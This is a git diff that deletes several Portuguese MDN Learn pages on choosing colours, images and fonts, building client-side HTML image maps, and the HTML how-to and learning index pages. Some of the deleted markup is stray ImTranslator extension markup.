-<p>Para escolher uma cor, vá ao <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Colors/Color_picker_tool">Seletor de Cores</a> e encontre uma cor de que gosta. Quando clicar numa cor, vai ver um código estranho com seis caracteres, tal como <code>#660066</code>. Este é um código hexadecimal que representa um tom de cor específico. Aponte o código num local de fácil acesso.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/8975/Screenshot%20from%202014-11-03%2017:40:49.png" style="height: 262px; width: 448px;"></p>
-
-<h3 id="Imagens">Imagens</h3>
-
-<p>Para escolher uma imagem, pesquise <a href="https://www.google.com/imghp?gws_rd=ssl">Images no Google</a> procure algo adequado.</p>
-
-<ol>
- <li>Quando encontrar a imagem que quer, clique nela.</li>
- <li>Prima o botão <em>Ver imagem</em>.</li>
- <li>Na página seguinte, carregue o botão direito do rato (Ctrl + clique nos Mac), escolha <em>Guardar imagem como...</em>, e escolha um lugar seguro para guardar a imagem. Em alternativa, copie o endereço da imagem da barra de endereço do seu navegador para a utilizar mais tarde.</li>
-</ol>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/8985/Screenshot%20from%202014-11-04%2015:09:21.png" style="height: 293px; width: 420px;"></p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/8989/Screenshot%20from%202014-11-04%2015:20:48.png" style="height: 292px; width: 340px;"></p>
-
-<div class="note">
-<p><strong>Nota</strong>: A maioria das imagens, incluindo na pesquisa de Imagens do Google, estão protegidas por direitos de autor. Para reduzir probabilidades de violar estes direitos, pode usar o filtro de licença do  Google. Primeiro, clique em <strong>Ferramentas de Pesquisa</strong>, e depois em <strong>Direitos de utilização</strong>:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/8981/Screenshot%20from%202014-11-04%2014:27:45.png" style="height: 195px; width: 587px;"></p>
-</div>
-
-<h3 id="Tipo_de_letra">Tipo de letra</h3>
-
-<p>Para escolher um tipo de letra:</p>
-
-<ol>
- <li>Vá ao <a href="http://www.google.com/fonts">Google Fonts</a> e deslize para baixo até encontrar um de que goste. Também pode usar os controlos à direita para filtrar resultados.</li>
- <li>Clique no ícone "mais" (Adicionar) perto do tipo de letra que escolheu.</li>
- <li>Clique no botão "* Family Selected"<em> </em>no painel no fim da página ("*" será o número de tipos de letra selecionados).</li>
- <li>Na caixa apresentada, copie as linhas de código que o Google lhe dará para um editor de texto e guarde para utilizar mais tarde.</li>
-</ol>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/13871/font1.png" style="height: 359px; width: 600px;"></p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/13873/font2.png" style="height: 608px; width: 600px;"></p>
-
-<div>{{PreviousMenuNext("Learn/Comecar_com_a_Web/Installing_basic_software", "Learn/Comecar_com_a_Web/Lidar_com_ficheiros", "Learn/Comecar_com_a_Web")}}</div>
-
-<h2 id="Neste_módulo">Neste módulo</h2>
-
-<ul>
- <li id="Installing_basic_software"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Installing_basic_software">Instalar software básico</a></li>
- <li id="What_will_your_website_look_like"><a href="/en-US/Learn/Getting_started_with_the_web/What_will_your_website_look_like">Qual será a aparência do seu site da Web?</a></li>
- <li id="Dealing_with_files"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Lidar_com_ficheiros">Lidar com ficheiros</a></li>
- <li id="HTML_basics"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/HTML_basicos">HTML - Essencial</a></li>
- <li id="CSS_basics"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/CSS_basico">CSS - Essencial</a></li>
- <li id="JavaScript_basics"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Elementar_de_JavaScript">JavaScript - Essencial</a></li>
- <li id="Publishing_your_website"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Publicar_o_seu_site_da_Web">Publicar o seu site da Web</a></li>
- <li id="How_the_web_works"><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Como_funciona_a_Web">Como funciona a Web</a></li>
-</ul>
diff --git a/files/pt-pt/learn/html/howto/add_a_hit_map_on_top_of_an_image/index.html b/files/pt-pt/learn/html/howto/add_a_hit_map_on_top_of_an_image/index.html
deleted file mode 100644
index fa960426d1..0000000000
--- a/files/pt-pt/learn/html/howto/add_a_hit_map_on_top_of_an_image/index.html
+++ /dev/null
@@ -1,204 +0,0 @@
----
-title: Adicionar um mapa de zona clicável numa imagem
-slug: Learn/HTML/Howto/Add_a_hit_map_on_top_of_an_image
-translation_of: Learn/HTML/Howto/Add_a_hit_map_on_top_of_an_image
-original_slug: Learn/HTML/Como/Adicionar_um_mapa_de_zona_clicavel_numa_imagem
----
-<div class="summary">
-<p>Aqui, nós explicamos como configurar um mapa de imagens, e algumas desvantagens para considerar primeiro.</p>
-</div>
-
-<table class="learn-box standard-table">
- <tbody>
- <tr>
- <th scope="row">Pré-requisitos:</th>
- <td>Já deverá saber como <a href="/pt-PT/docs/Learn/Comecar_com_a_Web">criar um documento HTML básico</a> e como <a href="/pt-PT/docs/Learn/HTML/Multimedia_and_embedding/Imagens_em_HTML">adicionar imagens acessíveis para uma página da Web.</a></td>
- </tr>
- <tr>
- <th scope="row">Objetivo:</th>
- <td>Learn how to make different regions of one image link to different pages.</td>
- </tr>
- </tbody>
-</table>
-
-<div class="warning">
-<p>This article discusses client-side image maps only. Do not use server-side image maps, which require the user to have a mouse.</p>
-</div>
-
-<h2 id="Mapas_de_imagens_e_as_suas_desvantagens">Mapas de imagens, e as suas desvantagens</h2>
-
-<p>When you nest an image inside {{htmlelement('a')}}, the entire image links to one webpage. An image map, on the other hand, contains several active regions (called "hotspots") that each link to a different resource.</p>
-
-<p>Formerly, image maps were a popular navigation device, but it’s important to thoroughly consider their performance and accessibility ramifications.</p>
-
-<p><a href="https://developer.mozilla.org/en-US/Learn/HTML/Howto/Create_a_hyperlink">Text links</a> (perhaps styled with CSS) are preferable to image maps for several reasons: text links are lightweight, maintainable, often more SEO-friendly, and support accessibility needs (e.g., screen readers, text-only browsers, translation services).</p>
-
-<h2 id="Como_inserir_uma_imagem_de_mapa_devidamente">Como inserir uma imagem de mapa, devidamente</h2>
-
-<h3 id="Passo_1_A_imagem">Passo 1: A imagem</h3>
-
-<p>Nem qualquer imagem é aceitável.</p>
-
-<ul>
- <li>The image must make it clear what happens when people follow image links. <code>alt</code> text is mandatory, of course, but many people never see it.</li>
- <li>The image must clearly indicate where hotspots begin and end.</li>
- <li>Hotspots must be large enough to tap comfortably, at any viewport size. How large is large enough? <a href="http://uxmovement.com/mobile/finger-friendly-design-ideal-mobile-touch-target-sizes/">72 × 72 CSS pixels is a good minimum,</a> with additional generous gaps between touch targets. The map of the world at <a href="http://www.goethe-verlag.com/book2/">50languages.com</a> (as of time of writing) illustrates the problem perfectly. It’s much easier to tap Russia or North America than Albania or Estonia.</li>
-</ul>
-
-<p>You insert your image <a href="http://developer.mozilla.org/en-US/Learn/HTML/Howto/Add_images_to_a_webpage">much the same way as always</a> (with an {{htmlelement("img")}} element and {{htmlattrxref("alt",'img')}} text). If the image is only present as a navigation device, you may write <code>alt=""</code>, provided you furnish appropriate {{htmlattrxref("alt",'area')}} text in the {{htmlelement('area')}} elements later on.</p>
-
-<p>You will need a special {{htmlattrxref("usemap","img")}} attribute. Come up with a unique name, containing no spaces, for your image map. Then assign that name (preceded by a hash) as the value for the <code>usemap</code> attribute:</p>
-
-<pre class="brush: html">&lt;img
- src="image-map.png"
- alt=""
- usemap="#example-map-1" /&gt;</pre>
-
-<h3 id="Passo_2_Ativar_os_seus_pontos_de_hotspots">Passo 2: Ativar os seus pontos de <em>hotspots</em></h3>
-
-<p>In this step, put all your code inside a {{htmlelement('map')}} element. <code>&lt;map&gt;</code> only needs one attribute, the same map {{htmlattrxref("name","map")}} as you used in your <code>usemap</code> attribute above:</p>
-
-<pre class="brush: html">&lt;map name="example-map-1"&gt;
-
-&lt;/map&gt;</pre>
-
-<p>Inside the <code>&lt;map&gt;</code> element, we need {{htmlelement('area')}} elements. An <code>&lt;area&gt;</code> element corresponds to a single hotspot. To keep keyboard navigation intuitive, make sure the source order of <code>&lt;area&gt;</code> elements corresponds to the visual order of hotspots.</p>
-
-<p><code>&lt;area&gt;</code> elements are empty elements, but do require four attributes:</p>
-
-<dl>
- <dt>{{htmlattrxref('shape','area')}}</dt>
- <dt>{{htmlattrxref('coords','area')}}</dt>
- <dd>
- <p><code>shape</code> takes one of four values: <code>circle</code>, <code>rect</code>, <code>poly</code>, and <code>default</code>. (A <code>default</code> <code>&lt;area&gt;</code> occupies the entire image, minus any other hotspots you’ve defined.) The shape you choose determines the coordinate information you’ll need to provide in <code>coords</code>.</p>
-
- <ul>
- <li>For a circle, provide the center's x and y coordinates, followed by the length of the radius.</li>
- <li>For a rectangle, provide the x/y coordinates of the upper-left and bottom-right corners.</li>
- <li>For a polygon, to provide the x/y coordinates of each corner (so, at least six values).</li>
- </ul>
-
- <p>Coordinates are given in CSS pixels.</p>
-
- <p>In case of overlap, source order carries the day.</p>
- </dd>
- <dt>{{htmlattrxref('href','area')}}</dt>
- <dd>The URL of the resource you’re linking to. You may leave this attribute blank if you <em>don’t</em> want the current area to link anywhere (say, if you’re making a hollow circle.)</dd>
- <dt>{{htmlattrxref('alt','area')}}</dt>
- <dd>
- <p>A mandatory attribute, telling people where the link goes or what it does. <code>alt</code> text only displays when the image is unavailable. Please refer to our <a href="https://developer.mozilla.org/en-US/Learn/HTML/Howto/Create_a_hyperlink#Writing_accessible_link_text">guidelines for writing accessible link text.</a></p>
-
- <p>You may write <code>alt=""</code> if the <code>href</code> attribute is blank <em>and</em> the entire image already has an <code>alt</code> attribute.</p>
- </dd>
-</dl>
-
-<pre class="brush: html">&lt;map name="example-map-1"&gt;
- &lt;area shape="circle" coords="200,250,25"
- href="page-2.html" alt="circle example" /&gt;
-
-
- &lt;area shape="rect" coords="10, 5, 20, 15"
- href="page-3.html" alt="rectangle example" /&gt;
-
-&lt;/map&gt;</pre>
-
-<h3 id="Passo_3_Certificar-se_de_que_este_funciona_para_toda_a_gente">Passo 3: Certificar-se de que este funciona para toda a gente</h3>
-
-<p>You aren’t done until you test image maps rigorously on many browsers and devices. Try following links with your keyboard alone. Try turning images off.</p>
-
-<p>If your image map is wider than about 240px, you’ll need to make further adjustments to make your website responsive. It's not enough to resize the image for small screens, because the coordinates stay the same and no longer match the image.</p>
-
-<p>If you must use image maps, you may want to look into <a href="https://github.com/stowball/jQuery-rwdImageMaps">Matt Stow's jQuery plugin.</a> Alternatively, Dudley Storey demonstrates a way to <a href="http://thenewcode.com/696/Using-SVG-as-an-Alternative-To-Imagemaps">use SVG for an image map effect,</a> along with a subsequent <a href="http://thenewcode.com/760/Create-A-Responsive-Imagemap-With-SVG">combined SVG-raster hack</a> for bitmap images.</p>
-
-<h2 id="Saiba_mais">Saiba mais</h2>
-
-<ul>
- <li>{{htmlelement("img")}}</li>
- <li>{{htmlelement("map")}}</li>
- <li>{{htmlelement("area")}}</li>
- <li><a href="http://www.maschek.hu/imagemap/imgmap">Online image map editor</a></li>
- <li><a href="http://blog.goolara.com/2014/06/05/image-maps-revisited/">Advice on handling email clients</a></li>
-</ul>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; opacity: 0; display: block; left: -8px; top: -25px; transition: visibility 2s ease 0s, opacity 2s linear 0s;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody>
- <tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody>
- <tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/learn/html/howto/index.html b/files/pt-pt/learn/html/howto/index.html
deleted file mode 100644
index 44c2f1535b..0000000000
--- a/files/pt-pt/learn/html/howto/index.html
+++ /dev/null
@@ -1,154 +0,0 @@
----
-title: Utilizar HTML para resolver problemas comuns
-slug: Learn/HTML/Howto
-tags:
- - HTML
- - Programação Scripting
-translation_of: Learn/HTML/Howto
-original_slug: Learn/HTML/Como
----
-<div>{{LearnSidebar}}</div>
-
-<p class="summary">As seguintes hiperligações apontam para soluções de problemas comuns diários que terá de resolver com HTML.</p>
-
-<div class="column-container">
-<div class="column-half">
-<h3 id="Estrutura_básica">Estrutura básica</h3>
-
-<p>The most basic application of HTML is document structure. If you're new to HTML you should start with this.</p>
-
-<ul>
- <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/Getting_started#Anatomy_of_an_HTML_document">How to create a basic HTML document</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Howto/Divide_a_webpage_into_logical_sections">How to divide a webpage into logical sections</a></li>
- <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#The_basics_headings_and_paragraphs">How to set up a proper structure of headings and paragraphs</a></li>
-</ul>
-
-<h3 id="Semântica_de_nível_de_texto_básica">Semântica de nível de texto básica</h3>
-
-<p>HTML specializes in providing semantic information for a document, so HTML answers many questions you might have about how to get your message across best in your document.</p>
-
-<ul>
- <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#Lists">How to create list of items with HTML</a></li>
- <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#Emphasis_and_importance">How to stress or emphasize content</a></li>
- <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#Emphasis_and_importance">How to indicate that text is important</a></li>
- <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting#Representing_computer_code">How to display computer code with HTML</a></li>
- <li><a href="/en-US/Learn/HTML/Multimedia_and_embedding/Images_in_HTML#Annotating_images_with_figures_and_figure_captions">How to annotate images and graphics</a></li>
- <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting#Abbreviations">How to mark abbreviations and make them understandable</a></li>
- <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting#Quotations">How to add quotations and citations to webpages</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Howto/Define_terms_with_HTML">How to define terms with HTML</a></li>
-</ul>
-</div>
-
-<div class="column-half">
-<h3 id="Hiperligações">Hiperligações</h3>
-
-<p>One of the main reasons for HTML is make navigation easy with {{Glossary("hyperlink", "hyperlinks")}}, which can be used in many different ways:</p>
-
-<ul>
- <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">How to create a hyperlink</a></li>
- <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks#Active_learning_creating_a_navigation_menu">How to create a table of contents with HTML</a></li>
-</ul>
-
-<h3 id="Imagens_e_multimédia">Imagens e multimédia</h3>
-
-<ul>
- <li><a href="/en-US/Learn/HTML/Multimedia_and_embedding/Images_in_HTML#How_do_we_put_an_image_on_a_webpage">How to add images to a webpage</a></li>
- <li><a href="/en-US/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">How to add video content to a webpage</a></li>
- <li><a href="/en-US/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">How to add audio content to a webpage</a></li>
-</ul>
-
-<h3 id="Scripting_e_estilização"><em>Scripting </em>e estilização</h3>
-
-<p>HTML only sets up document structure. To solve presentation issues, use {{glossary("CSS")}}, or use scripting to make your page interactive.</p>
-
-<ul>
- <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/How_CSS_works#How_to_apply_your_CSS_to_your_HTML">How to use CSS within a webpage</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Howto/Use_JavaScript_within_a_webpage">How to use JavaScript within a webpage</a></li>
-</ul>
-
-<h3 id="Conteúdo_integrado">Conteúdo integrado</h3>
-
-<ul>
- <li><a href="/en-US/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies">How to embed a webpage within another webpage</a></li>
- <li><a href="/en-US/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies#The_%3Cembed%3E_and_%3Cobject%3E_elements">How to add Flash content within a webpage</a></li>
-</ul>
-</div>
-</div>
-
-<h2 id="Problemas_incomuns_ou_avançados">Problemas incomuns ou avançados</h2>
-
-<p>Beyond the basics, HTML is very rich and offers advanced features for solving complex problems. These articles help you tackle the less common use cases you may face:</p>
-
-<div class="column-container">
-<div class="column-half">
-<h3 id="Formulários">Formulários</h3>
-
-<p>Forms are a complex HTML structure made to send data from a webpage to a web server. We encourage you to go over our <a href="/en-US/docs/Web/Guide/HTML/Forms">full dedicated guide</a>. Here is where you should start:</p>
-
-<ul>
- <li><a href="/en-US/docs/Web/Guide/HTML/Forms/My_first_HTML_form">How to create a simple Web form</a></li>
- <li><a href="/en-US/docs/Web/Guide/HTML/Forms/How_to_structure_an_HTML_form">How to structure a Web form</a></li>
-</ul>
-
-<h3 id="Informação_tabular">Informação tabular</h3>
-
-<p>Some information, called tabular data, needs to be organized into tables with columns and rows. It's one of the most complex HTML structures, and mastering it is not easy:</p>
-
-<ul>
- <li><a href="/en-US/docs/Learn/HTML/Howto/Create_a_data_spreadsheet">How to create a data spreadsheet</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Howto/Make_HTML_tables_accessible">How to make HTML tables accessible</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Howto/Optimize_HTML_table_rendering">How to optimize HTML table rendering</a></li>
-</ul>
-
-<h3 id="Representação_de_dados">Representação de dados</h3>
-
-<ul>
- <li><a href="/en-US/docs/Learn/HTMLHowto/Represent_numeric_values_with_HTML">How to represent numeric values with HTML</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Howto/Use_data_attributes">How to use data attributes</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Howto/Associate_human_readable_content_with_arbitrary_computer_data_structures">How to associate human readable content with arbitrary computer data structures</a></li>
-</ul>
-
-<h3 id="Interatividade">Interatividade</h3>
-
-<ul>
- <li><a href="/en-US/docs/Learn/HTML/Howto/Create_collapsible_content_with_HTML">How to create collapsible content with HTML</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Howto/Add_context_menus_to_a_webpage">How to add context menus to a webpage</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Howto/Create_dialog_boxes_with_HTML">How to create dialog boxes with HTML</a></li>
-</ul>
-</div>
-
-<div class="column-half">
-<h3 id="Semântica_de_texto_avançada">Semântica de texto avançada</h3>
-
-<ul>
- <li><a href="/en-US/docs/Learn/HTML/Howto/Take_control_of_HTML_line_breaking">How to take control of HTML line breaking</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Howto/Mark_text_insertion_and_deletion">How to mark changes (added and removed text)</a></li>
-</ul>
-
-<h3 id="Imagens_e_multimédia_avançadas">Imagens e multimédia avançadas</h3>
-
-<ul>
- <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">How to add responsive image to a webpage</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">How to add vector image to a webpage</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Howto/Add_a_hit_map_on_top_of_an_image">How to add a hit map on top of an image</a></li>
-</ul>
-
-<h3 id="Internacionalização">Internacionalização</h3>
-
-<p>HTML is not monolingual. It provides tools to handle common internationalization issues.</p>
-
-<ul>
- <li><a href="/en-US/docs/Learn/HTML/Howto/Add_multiple_languages_into_a_single_webpage">How to add multiple languages into a single webpage</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Howto/Handle_Japanese_ruby_characters">How to handle Japanese ruby characters</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Howto/Display_time_and_date_with_HTML">How to display time and date with HTML</a></li>
-</ul>
-
-<h3 id="Desempenho">Desempenho</h3>
-
-<ul>
- <li><a href="/en-US/docs/Learn/HTML/Howto/Author_fast-loading_HTML_pages">How to author fast-loading HTML pages</a></li>
-</ul>
-</div>
-</div>
-
-<p><span class="hidden"> </span><span class="hidden"> </span><span class="hidden"> </span><span class="hidden"> </span> </p>
diff --git a/files/pt-pt/learn/html/index.html b/files/pt-pt/learn/html/index.html
deleted file mode 100644
index 590612f435..0000000000
--- a/files/pt-pt/learn/html/index.html
+++ /dev/null
@@ -1,60 +0,0 @@
----
-title: Estruturar a Web com HTML
-slug: Learn/HTML
-tags:
- - Apredizagem
- - Guía
- - HTML
- - Introdução
- - Principiante
- - Tópico
-translation_of: Learn/HTML
----
-<div>{{LearnSidebar}}</div>
-
-<p class="summary">Para criar <em>sites </em>da <em>Web</em>, deverá saber sobre {{Glossary('HTML')}} — a tecnologia fundamental para definir a estrutura de uma página da W<em>eb</em>. HTML é utilizado para especificar se o seu conteúdo da Web deve ser reconhecido como um parágrafo, lista, cabeçalho, hiperligação, imagem, leitor de multimédia, formulário, ou um dos muitos outros elementos disponíveis ou mesmo um novo elemento que defina.</p>
-
-<h2 id="Passos_de_aprendizagem">Passos de aprendizagem</h2>
-
-<p>Idealmente, deveria começar a sua jornada de aprendizagem aprendendo HTML. Comece a ler <a href="/pt-PT/docs/Learn/HTML/Introducao_ao_HTML">Introdução ao HTML</a>. Depois pode passar para a aprendizagem sobre os tópicos mais avançados, tais como:</p>
-
-<ul>
- <li><a href="/pt-PT/docs/Learn/CSS">CSS</a>, e como o utilizar para estilizar HTML (por exemplo, alterar os tipos e tamanhos de fontes do seu texto, colocar bordas e aplicar sombras, desenhar sua página com múltiplas colunas, agregar animações e outros efeitos visuais.) </li>
- <li><a href="/pt-PT/docs/Learn/JavaScript">JavaScript</a>, e como o utilizar para adicioanr funcionalidade dinâmica às páginas da Web ( por exemplo, encontrar a sua posição e mostrá-la num mapa, fazer com que os elementos UI apareçam/desapareçam quando alterna um botão, guardar os dados dos utilizadores localmente nos seus computadores, e muito, muito mais.) </li>
-</ul>
-
